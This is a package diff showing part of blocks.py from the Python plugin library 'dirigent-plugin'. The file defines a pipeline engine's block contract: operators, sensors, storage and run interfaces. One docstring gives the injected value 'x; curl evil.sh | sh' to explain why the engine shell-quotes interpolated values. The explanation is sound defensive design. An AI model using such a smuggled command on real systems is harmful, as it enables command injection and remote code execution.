dirigent-plugin 0.9.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dirigent_plugin/__init__.py +115 -0
- dirigent_plugin/blocks.py +719 -0
- dirigent_plugin/markers.py +30 -0
- dirigent_plugin/py.typed +0 -0
- dirigent_plugin/transforms.py +540 -0
- dirigent_plugin-0.9.0.dist-info/METADATA +16 -0
- dirigent_plugin-0.9.0.dist-info/RECORD +9 -0
- dirigent_plugin-0.9.0.dist-info/WHEEL +4 -0
- dirigent_plugin-0.9.0.dist-info/licenses/LICENSE +18 -0
|
@@ -0,0 +1,719 @@
|
|
|
1
|
+
"""The dirigent block contract: the only module a third-party plugin package needs to import."""
|
|
2
|
+
|
|
3
|
+
from abc import ABC, abstractmethod
|
|
4
|
+
from collections.abc import AsyncGenerator, AsyncIterator, Callable, Mapping
|
|
5
|
+
from contextlib import AbstractAsyncContextManager
|
|
6
|
+
from datetime import datetime, timedelta
|
|
7
|
+
from enum import StrEnum
|
|
8
|
+
from pathlib import Path
|
|
9
|
+
from typing import Any, ClassVar, Protocol, cast
|
|
10
|
+
from uuid import UUID
|
|
11
|
+
|
|
12
|
+
import httpx2
|
|
13
|
+
from jsonschema import FormatChecker
|
|
14
|
+
from pydantic import BaseModel, ConfigDict, Field, GetJsonSchemaHandler, JsonValue, field_validator, model_validator
|
|
15
|
+
from pydantic.json_schema import JsonSchemaValue
|
|
16
|
+
from pydantic_core import CoreSchema
|
|
17
|
+
|
|
18
|
+
from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, HealthReport, JsonMap
|
|
19
|
+
|
|
20
|
+
type RunId = UUID
|
|
21
|
+
|
|
22
|
+
#: A connection is referenced by name, never by id, so documents stay portable.
|
|
23
|
+
type ConnectionRef = str
|
|
24
|
+
|
|
25
|
+
#: A JSON Schema format checker: a predicate that returns True when a value satisfies the
|
|
26
|
+
#: format, False when it does not, and may instead raise to signal the value is invalid --
|
|
27
|
+
#: exactly what ``jsonschema.FormatChecker.checks`` registers.
|
|
28
|
+
type FormatCheck = Callable[[object], bool]
|
|
29
|
+
|
|
30
|
+
#: Block ids are public API.
|
|
31
|
+
BLOCK_ID_PATTERN = r"^[a-z][a-z0-9_]*(\.[a-z][a-z0-9_]*)+$"
|
|
32
|
+
|
|
33
|
+
#: A block group is one bare word, the shape of a block id's first half.
|
|
34
|
+
BLOCK_GROUP_PATTERN = r"^[a-z][a-z0-9_]*$"
|
|
35
|
+
|
|
36
|
+
SURFACE_ID_PATTERN = r"^[a-z][a-z0-9_-]*$"
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
class ErrorClass(StrEnum):
|
|
40
|
+
"""How a block classifies a failure, which is what drives the engine's retry decision."""
|
|
41
|
+
|
|
42
|
+
TRANSIENT = "transient"
|
|
43
|
+
"""Network, 5xx, timeout: retryable."""
|
|
44
|
+
|
|
45
|
+
REJECTED = "rejected"
|
|
46
|
+
"""Validation, auth, 4xx: never retried."""
|
|
47
|
+
|
|
48
|
+
UNKNOWN = "unknown"
|
|
49
|
+
"""Anything else: retried while the step's budget lasts."""
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
class BlockFailure(Exception):
|
|
53
|
+
"""A failure a block reports deliberately, carrying its own error classification."""
|
|
54
|
+
|
|
55
|
+
def __init__(self, message: str, *, error_class: ErrorClass = ErrorClass.UNKNOWN) -> None:
|
|
56
|
+
"""Record the message and the class the engine should retry (or not retry) on."""
|
|
57
|
+
super().__init__(message)
|
|
58
|
+
self.message = message
|
|
59
|
+
self.error_class = error_class
|
|
60
|
+
|
|
61
|
+
def __str__(self) -> str:
|
|
62
|
+
"""Render the failure as its message."""
|
|
63
|
+
return self.message
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
def classify_default(error: Exception) -> ErrorClass:
|
|
67
|
+
"""Classify an exception with no block-specific knowledge: transport and 5xx transient, 4xx rejected."""
|
|
68
|
+
match error:
|
|
69
|
+
case BlockFailure():
|
|
70
|
+
return error.error_class
|
|
71
|
+
case httpx2.HTTPStatusError():
|
|
72
|
+
status = error.response.status_code
|
|
73
|
+
if status >= 500:
|
|
74
|
+
return ErrorClass.TRANSIENT
|
|
75
|
+
if 400 <= status < 500:
|
|
76
|
+
return ErrorClass.REJECTED
|
|
77
|
+
return ErrorClass.UNKNOWN
|
|
78
|
+
case httpx2.TransportError() | TimeoutError() | ConnectionError():
|
|
79
|
+
return ErrorClass.TRANSIENT
|
|
80
|
+
case _:
|
|
81
|
+
return ErrorClass.UNKNOWN
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
class ShellString:
|
|
85
|
+
"""Marks a config field whose resolved value is handed to a shell to parse.
|
|
86
|
+
|
|
87
|
+
A block that runs ``sh -c`` on a config string has a problem the block cannot solve on
|
|
88
|
+
its own: by the time it sees the string, the engine has already substituted every
|
|
89
|
+
``${...}`` reference into it, and a literal semicolon written by the pipeline author is
|
|
90
|
+
indistinguishable from one that arrived in a webhook payload. So ``command: "load
|
|
91
|
+
${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
|
|
92
|
+
reachable by whoever can POST to a webhook.
|
|
93
|
+
|
|
94
|
+
Marking the field pushes the knowledge to where the answer is known. The engine quotes
|
|
95
|
+
every interpolated segment before it lands in the string, so a substituted value is
|
|
96
|
+
always exactly one shell word regardless of what is in it, while everything the author
|
|
97
|
+
typed keeps its meaning -- pipes and redirects included, which is the entire reason the
|
|
98
|
+
shell form exists.
|
|
99
|
+
|
|
100
|
+
It is a bare class rather than a model: annotation metadata pydantic recognises as a
|
|
101
|
+
model would be read as the field's schema, and this marker must stay invisible to
|
|
102
|
+
validation.
|
|
103
|
+
|
|
104
|
+
The one thing it does publish is what the field holds. A string a shell parses is a
|
|
105
|
+
shell program, so the field carries ``contentMediaType: text/x-shellscript`` and a form
|
|
106
|
+
generated from the schema edits it as source rather than as one line of text.
|
|
107
|
+
"""
|
|
108
|
+
|
|
109
|
+
__slots__ = ()
|
|
110
|
+
|
|
111
|
+
def __repr__(self) -> str:
|
|
112
|
+
"""Render the marker the way it is written."""
|
|
113
|
+
return "ShellString()"
|
|
114
|
+
|
|
115
|
+
def __get_pydantic_json_schema__(
|
|
116
|
+
self,
|
|
117
|
+
schema: CoreSchema,
|
|
118
|
+
handler: GetJsonSchemaHandler,
|
|
119
|
+
) -> JsonSchemaValue:
|
|
120
|
+
"""Publish the marked field as shell source, leaving what it validates untouched."""
|
|
121
|
+
published = handler(schema)
|
|
122
|
+
published["contentMediaType"] = SHELL_MEDIA_TYPE
|
|
123
|
+
return published
|
|
124
|
+
|
|
125
|
+
|
|
126
|
+
def shell_string_fields(model: type[BaseModel]) -> frozenset[str]:
|
|
127
|
+
"""List the config fields a model marked as being parsed by a shell."""
|
|
128
|
+
return frozenset(
|
|
129
|
+
name
|
|
130
|
+
for name, field in model.model_fields.items()
|
|
131
|
+
if any(isinstance(marker, ShellString) for marker in field.metadata)
|
|
132
|
+
)
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
class RemoteHandle(BaseModel):
|
|
136
|
+
"""Serializable claim on a job running somewhere other than this block call.
|
|
137
|
+
|
|
138
|
+
Remote means "not in this process", which covers a container on the same machine as
|
|
139
|
+
readily as a job in another datacentre: what makes a handle a handle is that the work
|
|
140
|
+
outlives the call that started it and has to be probed.
|
|
141
|
+
"""
|
|
142
|
+
|
|
143
|
+
model_config = ConfigDict(frozen=True)
|
|
144
|
+
|
|
145
|
+
block_id: str = Field(pattern=BLOCK_ID_PATTERN)
|
|
146
|
+
ref: str = Field(min_length=1)
|
|
147
|
+
meta: dict[str, str] = Field(default_factory=dict)
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
class ProbeStatus(StrEnum):
|
|
151
|
+
"""The terminal-or-not state a probe reports for remote work."""
|
|
152
|
+
|
|
153
|
+
RUNNING = "running"
|
|
154
|
+
|
|
155
|
+
SUCCEEDED = "succeeded"
|
|
156
|
+
"""The remote finished; the engine may now fetch the result."""
|
|
157
|
+
|
|
158
|
+
FAILED = "failed"
|
|
159
|
+
|
|
160
|
+
GONE = "gone"
|
|
161
|
+
"""The remote no longer knows the job; the engine applies the lost-job policy."""
|
|
162
|
+
|
|
163
|
+
|
|
164
|
+
class ProbeResult(BaseModel):
|
|
165
|
+
"""One side-effect-free observation of submitted remote work."""
|
|
166
|
+
|
|
167
|
+
status: ProbeStatus
|
|
168
|
+
message: str | None = None
|
|
169
|
+
progress: float | None = Field(default=None, ge=0.0, le=1.0)
|
|
170
|
+
next_poll_in: timedelta | None = None
|
|
171
|
+
meta: dict[str, str] | None = None
|
|
172
|
+
"""What the handle's metadata becomes from here on, or None to leave it as it is.
|
|
173
|
+
|
|
174
|
+
A handle is frozen, so this is where a probe writes down how far it has read: the next
|
|
175
|
+
probe, and a following fetch, receive a handle carrying exactly this. It replaces rather
|
|
176
|
+
than merges, so whatever is kept is copied forward.
|
|
177
|
+
|
|
178
|
+
Advancing is at-least-once, like fetching: the cursor is stored by the transaction that
|
|
179
|
+
parks the attempt, and a worker that dies before that commit leaves the older cursor to
|
|
180
|
+
be probed from again. So a probe must tolerate reading the same ground twice, and the
|
|
181
|
+
lines it appends to the run may repeat.
|
|
182
|
+
"""
|
|
183
|
+
|
|
184
|
+
|
|
185
|
+
class NotYet(BaseModel):
|
|
186
|
+
"""A sensor's "the condition does not hold yet" result, which is not a failure."""
|
|
187
|
+
|
|
188
|
+
next_poll_in: timedelta | None = None
|
|
189
|
+
message: str | None = None
|
|
190
|
+
"""What the sensor is seeing while it waits, surfaced on the waiting attempt."""
|
|
191
|
+
|
|
192
|
+
progress: float | None = Field(default=None, ge=0.0, le=1.0)
|
|
193
|
+
|
|
194
|
+
cursor: JsonMap | None = None
|
|
195
|
+
"""What the next poke receives as ``ctx.cursor``, or None to leave it as it is.
|
|
196
|
+
|
|
197
|
+
It replaces rather than merges, so whatever is kept is copied forward. Advancing is
|
|
198
|
+
at-least-once: the cursor is stored by the transaction that parks the attempt, and a
|
|
199
|
+
worker that dies before that commit leaves the older cursor for the next poke to read
|
|
200
|
+
from again. So a poke must tolerate reading the same ground twice.
|
|
201
|
+
|
|
202
|
+
The cursor's life is the waiting attempt. A poke that succeeds ends the step, and
|
|
203
|
+
nothing carries the cursor past it.
|
|
204
|
+
"""
|
|
205
|
+
|
|
206
|
+
|
|
207
|
+
def _group_from_id(data: Any) -> Any:
|
|
208
|
+
"""Fill a spec's group with the id's first half, for a block that declares no group."""
|
|
209
|
+
if not isinstance(data, dict):
|
|
210
|
+
return data
|
|
211
|
+
fields = cast(dict[str, Any], data)
|
|
212
|
+
if fields.get("group"):
|
|
213
|
+
return fields
|
|
214
|
+
block_id = fields.get("id")
|
|
215
|
+
if not isinstance(block_id, str) or "." not in block_id:
|
|
216
|
+
return fields
|
|
217
|
+
return {**fields, "group": block_id.split(".", 1)[0]}
|
|
218
|
+
|
|
219
|
+
|
|
220
|
+
class OperatorSpec(BaseModel):
|
|
221
|
+
"""The catalog entry for an operator: its stable id and the properties a caller reads."""
|
|
222
|
+
|
|
223
|
+
model_config = ConfigDict(frozen=True)
|
|
224
|
+
|
|
225
|
+
id: str = Field(pattern=BLOCK_ID_PATTERN)
|
|
226
|
+
summary: str = Field(min_length=1)
|
|
227
|
+
group: str = Field(default="", pattern=BLOCK_GROUP_PATTERN)
|
|
228
|
+
"""The shelf a catalog arranges this block under, defaulting to the id's first half."""
|
|
229
|
+
|
|
230
|
+
idempotent: bool = False
|
|
231
|
+
local_execution: bool = False
|
|
232
|
+
default_poll: timedelta | None = None
|
|
233
|
+
"""How often to probe this operator's remote work when the step does not say."""
|
|
234
|
+
|
|
235
|
+
@model_validator(mode="before")
|
|
236
|
+
@classmethod
|
|
237
|
+
def _shelve(cls, data: Any) -> Any:
|
|
238
|
+
"""Default the group to the id's first half."""
|
|
239
|
+
return _group_from_id(data)
|
|
240
|
+
|
|
241
|
+
|
|
242
|
+
class SensorSpec(BaseModel):
|
|
243
|
+
"""The catalog entry for a sensor, including the poll cadence the engine defaults to."""
|
|
244
|
+
|
|
245
|
+
model_config = ConfigDict(frozen=True)
|
|
246
|
+
|
|
247
|
+
id: str = Field(pattern=BLOCK_ID_PATTERN)
|
|
248
|
+
summary: str = Field(min_length=1)
|
|
249
|
+
group: str = Field(default="", pattern=BLOCK_GROUP_PATTERN)
|
|
250
|
+
"""The shelf a catalog arranges this block under, defaulting to the id's first half."""
|
|
251
|
+
|
|
252
|
+
default_poll: timedelta = timedelta(minutes=1)
|
|
253
|
+
default_deadline: timedelta = timedelta(hours=24)
|
|
254
|
+
|
|
255
|
+
@model_validator(mode="before")
|
|
256
|
+
@classmethod
|
|
257
|
+
def _shelve(cls, data: Any) -> Any:
|
|
258
|
+
"""Default the group to the id's first half."""
|
|
259
|
+
return _group_from_id(data)
|
|
260
|
+
|
|
261
|
+
|
|
262
|
+
class StatResult(BaseModel):
|
|
263
|
+
"""What a storage backend knows about one object without reading it."""
|
|
264
|
+
|
|
265
|
+
uri: str = Field(min_length=1)
|
|
266
|
+
size: int = Field(ge=0)
|
|
267
|
+
modified_at: datetime
|
|
268
|
+
content_type: str | None = None
|
|
269
|
+
|
|
270
|
+
|
|
271
|
+
class AlertMessage(BaseModel):
|
|
272
|
+
"""What an alert rule hands a notifier: the event, a rendered summary, and links back."""
|
|
273
|
+
|
|
274
|
+
event: str = Field(min_length=1)
|
|
275
|
+
subject: str = Field(min_length=1)
|
|
276
|
+
body: str = ""
|
|
277
|
+
run_id: RunId | None = None
|
|
278
|
+
pipeline: str | None = None
|
|
279
|
+
url: str | None = None
|
|
280
|
+
context: dict[str, JsonValue] = Field(default_factory=dict)
|
|
281
|
+
|
|
282
|
+
|
|
283
|
+
class ByteSink(Protocol):
|
|
284
|
+
"""The write end of a storage stream."""
|
|
285
|
+
|
|
286
|
+
async def write(self, data: bytes) -> int:
|
|
287
|
+
"""Append bytes to the stream and return how many were accepted."""
|
|
288
|
+
...
|
|
289
|
+
|
|
290
|
+
|
|
291
|
+
class Logger(Protocol):
|
|
292
|
+
"""The scoped, batched log writer a block is handed; it produces run-visible entries."""
|
|
293
|
+
|
|
294
|
+
def debug(self, message: str, **fields: JsonValue) -> None:
|
|
295
|
+
"""Record a debug-level entry."""
|
|
296
|
+
...
|
|
297
|
+
|
|
298
|
+
def info(self, message: str, **fields: JsonValue) -> None:
|
|
299
|
+
"""Record an info-level entry."""
|
|
300
|
+
...
|
|
301
|
+
|
|
302
|
+
def warning(self, message: str, **fields: JsonValue) -> None:
|
|
303
|
+
"""Record a warning-level entry."""
|
|
304
|
+
...
|
|
305
|
+
|
|
306
|
+
def error(self, message: str, **fields: JsonValue) -> None:
|
|
307
|
+
"""Record an error-level entry."""
|
|
308
|
+
...
|
|
309
|
+
|
|
310
|
+
|
|
311
|
+
class Storage(Protocol):
|
|
312
|
+
"""The engine's URI-addressed storage facade, dispatching by scheme to a backend."""
|
|
313
|
+
|
|
314
|
+
def open_read(self, uri: str) -> AsyncGenerator[bytes]:
|
|
315
|
+
"""Stream the object at a URI, closeable so a reader that stops early releases it."""
|
|
316
|
+
...
|
|
317
|
+
|
|
318
|
+
def open_write(self, uri: str) -> AbstractAsyncContextManager[ByteSink]:
|
|
319
|
+
"""Open a streamed writer for a URI."""
|
|
320
|
+
...
|
|
321
|
+
|
|
322
|
+
async def stat(self, uri: str) -> StatResult | None:
|
|
323
|
+
"""Describe the object at a URI, or return None when it does not exist."""
|
|
324
|
+
...
|
|
325
|
+
|
|
326
|
+
def list(self, uri: str) -> AsyncIterator[StatResult]:
|
|
327
|
+
"""List the objects under a URI prefix or matching a glob."""
|
|
328
|
+
...
|
|
329
|
+
|
|
330
|
+
async def delete(self, uri: str) -> None:
|
|
331
|
+
"""Remove the object at a URI."""
|
|
332
|
+
...
|
|
333
|
+
|
|
334
|
+
|
|
335
|
+
class RunState(StrEnum):
|
|
336
|
+
"""Where a run is, in the vocabulary a block observing another run reads.
|
|
337
|
+
|
|
338
|
+
The block-facing half of the engine's own run status; the two vocabularies must stay in step.
|
|
339
|
+
"""
|
|
340
|
+
|
|
341
|
+
QUEUED = "queued"
|
|
342
|
+
RUNNING = "running"
|
|
343
|
+
SUCCEEDED = "succeeded"
|
|
344
|
+
COMPLETED_WITH_ERRORS = "completed_with_errors"
|
|
345
|
+
FAILED = "failed"
|
|
346
|
+
CANCELLED = "cancelled"
|
|
347
|
+
|
|
348
|
+
@property
|
|
349
|
+
def settled(self) -> bool:
|
|
350
|
+
"""Report whether the run has reached a state it will never leave."""
|
|
351
|
+
return self in (RunState.SUCCEEDED, RunState.COMPLETED_WITH_ERRORS, RunState.FAILED, RunState.CANCELLED)
|
|
352
|
+
|
|
353
|
+
|
|
354
|
+
class RunRefused(BlockFailure):
|
|
355
|
+
"""The instance refused to start the run a block asked for."""
|
|
356
|
+
|
|
357
|
+
def __init__(self, message: str) -> None:
|
|
358
|
+
"""Carry the reason, classified as the configuration error it always is."""
|
|
359
|
+
super().__init__(message, error_class=ErrorClass.REJECTED)
|
|
360
|
+
|
|
361
|
+
|
|
362
|
+
class StartedRun(BaseModel):
|
|
363
|
+
"""What asking this instance to start a run amounted to."""
|
|
364
|
+
|
|
365
|
+
model_config = ConfigDict(frozen=True)
|
|
366
|
+
|
|
367
|
+
pipeline: str
|
|
368
|
+
run_id: RunId | None = None
|
|
369
|
+
"""The run that was created, or None when the pipeline's concurrency policy dropped it."""
|
|
370
|
+
|
|
371
|
+
state: RunState | None = None
|
|
372
|
+
|
|
373
|
+
@property
|
|
374
|
+
def skipped(self) -> bool:
|
|
375
|
+
"""Report whether the concurrency policy decided the run in flight was enough."""
|
|
376
|
+
return self.run_id is None
|
|
377
|
+
|
|
378
|
+
|
|
379
|
+
class RunSnapshot(BaseModel):
|
|
380
|
+
"""One side-effect-free observation of a run this instance holds."""
|
|
381
|
+
|
|
382
|
+
model_config = ConfigDict(frozen=True)
|
|
383
|
+
|
|
384
|
+
run_id: RunId
|
|
385
|
+
pipeline: str
|
|
386
|
+
state: RunState
|
|
387
|
+
total_steps: int = Field(default=0, ge=0)
|
|
388
|
+
finished_steps: int = Field(default=0, ge=0)
|
|
389
|
+
error: str | None = None
|
|
390
|
+
|
|
391
|
+
@property
|
|
392
|
+
def progress(self) -> float | None:
|
|
393
|
+
"""Report how far the run has come, or None when it has no steps to count."""
|
|
394
|
+
if self.total_steps <= 0:
|
|
395
|
+
return None
|
|
396
|
+
return min(self.finished_steps / self.total_steps, 1.0)
|
|
397
|
+
|
|
398
|
+
|
|
399
|
+
class Runs(Protocol):
|
|
400
|
+
"""Scoped access to this instance's own runs, for a block that composes pipelines."""
|
|
401
|
+
|
|
402
|
+
async def start(
|
|
403
|
+
self,
|
|
404
|
+
pipeline: str,
|
|
405
|
+
params: Mapping[str, JsonValue],
|
|
406
|
+
*,
|
|
407
|
+
max_depth: int,
|
|
408
|
+
) -> StartedRun:
|
|
409
|
+
"""Start a run of a named pipeline, attributed to the calling run.
|
|
410
|
+
|
|
411
|
+
``max_depth`` bounds how deep a chain of pipelines starting pipelines may go, counted
|
|
412
|
+
along the attribution chain. Raises :class:`RunRefused` when the pipeline is unknown,
|
|
413
|
+
when the parameters do not satisfy its schema, or when the chain is already that deep.
|
|
414
|
+
"""
|
|
415
|
+
...
|
|
416
|
+
|
|
417
|
+
async def snapshot(self, run_id: RunId) -> RunSnapshot | None:
|
|
418
|
+
"""Describe a run this instance holds, or return None when it holds no such run."""
|
|
419
|
+
...
|
|
420
|
+
|
|
421
|
+
async def cancel(self, run_id: RunId, *, reason: str) -> bool:
|
|
422
|
+
"""Cancel a run; False means it had already settled and there was nothing to stop."""
|
|
423
|
+
...
|
|
424
|
+
|
|
425
|
+
|
|
426
|
+
class StepContext(Protocol):
|
|
427
|
+
"""Handed to every block call by the engine: scoped, audited access to everything a block may touch."""
|
|
428
|
+
|
|
429
|
+
run_id: RunId
|
|
430
|
+
attempt: int
|
|
431
|
+
params: Mapping[str, JsonValue]
|
|
432
|
+
log: Logger
|
|
433
|
+
|
|
434
|
+
step: str
|
|
435
|
+
"""The step's key in the pipeline document, unique within the run."""
|
|
436
|
+
|
|
437
|
+
run_item_id: UUID | None
|
|
438
|
+
"""The fan-out item this attempt works on, or None outside a fan-out."""
|
|
439
|
+
|
|
440
|
+
started_at: datetime
|
|
441
|
+
"""When this attempt first started, unchanged by a later poke, probe, or worker restart."""
|
|
442
|
+
|
|
443
|
+
inline_capture: int
|
|
444
|
+
"""How many bytes of a captured stream this instance lets a block inline in its output."""
|
|
445
|
+
|
|
446
|
+
cursor: JsonMap | None
|
|
447
|
+
"""The cursor the last committed :class:`NotYet` returned, and None on the first poke.
|
|
448
|
+
|
|
449
|
+
Only a sensor's poke reads it; every other call sees None.
|
|
450
|
+
"""
|
|
451
|
+
|
|
452
|
+
def connection[C: BaseModel](self, ref: ConnectionRef, model: type[C]) -> C:
|
|
453
|
+
"""Resolve a named connection, decrypted and validated against the given model."""
|
|
454
|
+
...
|
|
455
|
+
|
|
456
|
+
def storage_connection[C: BaseModel](self, scheme: str, model: type[C]) -> C | None:
|
|
457
|
+
"""Resolve the connection this instance configures a storage scheme from, or None.
|
|
458
|
+
|
|
459
|
+
The same binding the storage facade itself uses, for a block that must hand a scheme's
|
|
460
|
+
credentials to something other than the facade -- an engine that opens the URI itself.
|
|
461
|
+
None means the scheme is served by whatever its package contributed it with.
|
|
462
|
+
"""
|
|
463
|
+
...
|
|
464
|
+
|
|
465
|
+
def http(self, ref: ConnectionRef) -> httpx2.AsyncClient:
|
|
466
|
+
"""Build an HTTP client for a named connection with its base URL, auth, TLS, and timeouts applied."""
|
|
467
|
+
...
|
|
468
|
+
|
|
469
|
+
def schema(self, code: str) -> JsonMap:
|
|
470
|
+
"""Resolve a named JSON Schema the instance holds by code; an unknown code fails the step."""
|
|
471
|
+
...
|
|
472
|
+
|
|
473
|
+
def format_checker(self) -> FormatChecker:
|
|
474
|
+
"""The checker a schema validation asserts formats against: the base plus every contributed one.
|
|
475
|
+
|
|
476
|
+
A ``format`` no pack contributes has no checker and stays a passing annotation, so a
|
|
477
|
+
schema is portable across instances -- it asserts where the format lives and passes
|
|
478
|
+
where it does not.
|
|
479
|
+
"""
|
|
480
|
+
...
|
|
481
|
+
|
|
482
|
+
@property
|
|
483
|
+
def storage(self) -> Storage:
|
|
484
|
+
"""Access URI-addressed storage across every registered scheme."""
|
|
485
|
+
...
|
|
486
|
+
|
|
487
|
+
@property
|
|
488
|
+
def scratch(self) -> str:
|
|
489
|
+
"""Return the run-scoped URI prefix for intermediate artifacts."""
|
|
490
|
+
...
|
|
491
|
+
|
|
492
|
+
@property
|
|
493
|
+
def work(self) -> Path:
|
|
494
|
+
"""Return the run's directory on this worker's own filesystem, made on first read.
|
|
495
|
+
|
|
496
|
+
For what a tool opens through the filesystem rather than through storage: a checkout,
|
|
497
|
+
a build context, a compose file, a bind mount. It is local to the worker that reads
|
|
498
|
+
it, so a path one step leaves here is not one another worker can be handed; anything
|
|
499
|
+
a later step must see goes to :attr:`scratch` through storage.
|
|
500
|
+
"""
|
|
501
|
+
...
|
|
502
|
+
|
|
503
|
+
@property
|
|
504
|
+
def runs(self) -> Runs:
|
|
505
|
+
"""Start, observe, and cancel runs on this instance, attributed to the calling run."""
|
|
506
|
+
...
|
|
507
|
+
|
|
508
|
+
|
|
509
|
+
class Operator[ConfigT: BaseModel, OutputT: BaseModel](ABC):
|
|
510
|
+
"""One unit of work: finish synchronously, or return a RemoteHandle for the engine to probe."""
|
|
511
|
+
|
|
512
|
+
spec: ClassVar[OperatorSpec]
|
|
513
|
+
config_model: ClassVar[type[BaseModel]]
|
|
514
|
+
output_model: ClassVar[type[BaseModel]]
|
|
515
|
+
|
|
516
|
+
@abstractmethod
|
|
517
|
+
async def execute(self, config: ConfigT, ctx: StepContext) -> OutputT | RemoteHandle:
|
|
518
|
+
"""Do the work once per attempt; never poll inside, return a handle instead."""
|
|
519
|
+
...
|
|
520
|
+
|
|
521
|
+
async def probe(self, handle: RemoteHandle, config: ConfigT, ctx: StepContext) -> ProbeResult:
|
|
522
|
+
"""Report the remote job's state; side-effect-free and callable from any worker, any number of times.
|
|
523
|
+
|
|
524
|
+
Returning ``meta`` advances the handle every later call receives, which is how a probe
|
|
525
|
+
streaming a remote log into the run records where it has read to. That advance is
|
|
526
|
+
at-least-once: a cursor is only as far along as the last outcome that committed.
|
|
527
|
+
"""
|
|
528
|
+
raise NotImplementedError(f"{type(self).__name__} returned a RemoteHandle but does not implement probe()")
|
|
529
|
+
|
|
530
|
+
async def fetch(self, handle: RemoteHandle, config: ConfigT, ctx: StepContext) -> OutputT:
|
|
531
|
+
"""Retrieve the result after a probe reported SUCCEEDED; safe to call again.
|
|
532
|
+
|
|
533
|
+
The only thing that ends an attempt is the transaction recording its outcome, and a
|
|
534
|
+
worker that dies between fetching and that commit leaves the attempt to be claimed,
|
|
535
|
+
probed and fetched again. So this is at-least-once: retrieve, do not consume.
|
|
536
|
+
"""
|
|
537
|
+
raise NotImplementedError(f"{type(self).__name__} returned a RemoteHandle but does not implement fetch()")
|
|
538
|
+
|
|
539
|
+
async def cancel(self, handle: RemoteHandle, config: ConfigT, ctx: StepContext) -> bool:
|
|
540
|
+
"""Best-effort, idempotent cancellation; False means the remote could not be told."""
|
|
541
|
+
return False
|
|
542
|
+
|
|
543
|
+
def check_config(self, config: BaseModel) -> list[str]:
|
|
544
|
+
"""List the extra refusals this block makes at apply, beyond what its schema says.
|
|
545
|
+
|
|
546
|
+
Each string is shown against the step's config location, so a document is refused
|
|
547
|
+
before it is stored rather than the first time it runs.
|
|
548
|
+
"""
|
|
549
|
+
return []
|
|
550
|
+
|
|
551
|
+
def classify_error(self, error: Exception) -> ErrorClass:
|
|
552
|
+
"""Classify a failure raised by this operator, so the engine knows whether to retry."""
|
|
553
|
+
return classify_default(error)
|
|
554
|
+
|
|
555
|
+
|
|
556
|
+
class Sensor[ConfigT: BaseModel, OutputT: BaseModel](ABC):
|
|
557
|
+
"""Waits for the world. Each poke is one durable, scheduled probe; it must never block."""
|
|
558
|
+
|
|
559
|
+
spec: ClassVar[SensorSpec]
|
|
560
|
+
config_model: ClassVar[type[BaseModel]]
|
|
561
|
+
output_model: ClassVar[type[BaseModel]]
|
|
562
|
+
|
|
563
|
+
@abstractmethod
|
|
564
|
+
async def poke(self, config: ConfigT, ctx: StepContext) -> OutputT | NotYet:
|
|
565
|
+
"""Observe the world once, read-only and briefly; NotYet is not a failure."""
|
|
566
|
+
...
|
|
567
|
+
|
|
568
|
+
def check_config(self, config: BaseModel) -> list[str]:
|
|
569
|
+
"""List the extra refusals this block makes at apply, beyond what its schema says.
|
|
570
|
+
|
|
571
|
+
Each string is shown against the step's config location, so a document is refused
|
|
572
|
+
before it is stored rather than the first time it runs.
|
|
573
|
+
"""
|
|
574
|
+
return []
|
|
575
|
+
|
|
576
|
+
def classify_error(self, error: Exception) -> ErrorClass:
|
|
577
|
+
"""Classify a failure raised by this sensor, so the engine knows whether to retry."""
|
|
578
|
+
return classify_default(error)
|
|
579
|
+
|
|
580
|
+
|
|
581
|
+
class StorageBackend(ABC):
|
|
582
|
+
"""Registers a URI scheme and streams bytes for it."""
|
|
583
|
+
|
|
584
|
+
scheme: ClassVar[str]
|
|
585
|
+
config_model: ClassVar[type[BaseModel]]
|
|
586
|
+
|
|
587
|
+
def configured(self, config: BaseModel) -> "StorageBackend":
|
|
588
|
+
"""Return this backend bound to one instance's settings for its scheme.
|
|
589
|
+
|
|
590
|
+
The contributed backend is shared by every attempt in the process, so an override
|
|
591
|
+
must return a new instance: an attempt must never be able to change the endpoint
|
|
592
|
+
another attempt is already reading through.
|
|
593
|
+
"""
|
|
594
|
+
return self
|
|
595
|
+
|
|
596
|
+
@abstractmethod
|
|
597
|
+
def open_read(self, uri: str) -> AsyncGenerator[bytes]:
|
|
598
|
+
"""Stream the object at a URI.
|
|
599
|
+
|
|
600
|
+
An async generator rather than a plain iterator: a reader that stops part way, such
|
|
601
|
+
as a request body abandoned mid-send, closes the stream, and the handle or the
|
|
602
|
+
connection is released there rather than whenever the object is collected.
|
|
603
|
+
"""
|
|
604
|
+
...
|
|
605
|
+
|
|
606
|
+
@abstractmethod
|
|
607
|
+
def open_write(self, uri: str) -> AbstractAsyncContextManager[ByteSink]:
|
|
608
|
+
"""Open a streamed writer for a URI."""
|
|
609
|
+
...
|
|
610
|
+
|
|
611
|
+
@abstractmethod
|
|
612
|
+
async def stat(self, uri: str) -> StatResult | None:
|
|
613
|
+
"""Describe the object at a URI, or return None when it does not exist."""
|
|
614
|
+
...
|
|
615
|
+
|
|
616
|
+
@abstractmethod
|
|
617
|
+
def list(self, uri: str) -> AsyncIterator[StatResult]:
|
|
618
|
+
"""List the objects under a URI prefix or matching a glob."""
|
|
619
|
+
...
|
|
620
|
+
|
|
621
|
+
@abstractmethod
|
|
622
|
+
async def delete(self, uri: str) -> None:
|
|
623
|
+
"""Remove the object at a URI."""
|
|
624
|
+
...
|
|
625
|
+
|
|
626
|
+
|
|
627
|
+
class Notifier(ABC):
|
|
628
|
+
"""A pluggable message sender that alert rules deliver through."""
|
|
629
|
+
|
|
630
|
+
id: ClassVar[str]
|
|
631
|
+
config_model: ClassVar[type[BaseModel]]
|
|
632
|
+
|
|
633
|
+
@abstractmethod
|
|
634
|
+
async def send(self, message: AlertMessage, config: BaseModel) -> None:
|
|
635
|
+
"""Deliver one alert message through this channel."""
|
|
636
|
+
...
|
|
637
|
+
|
|
638
|
+
|
|
639
|
+
class ConnectionKind(ABC):
|
|
640
|
+
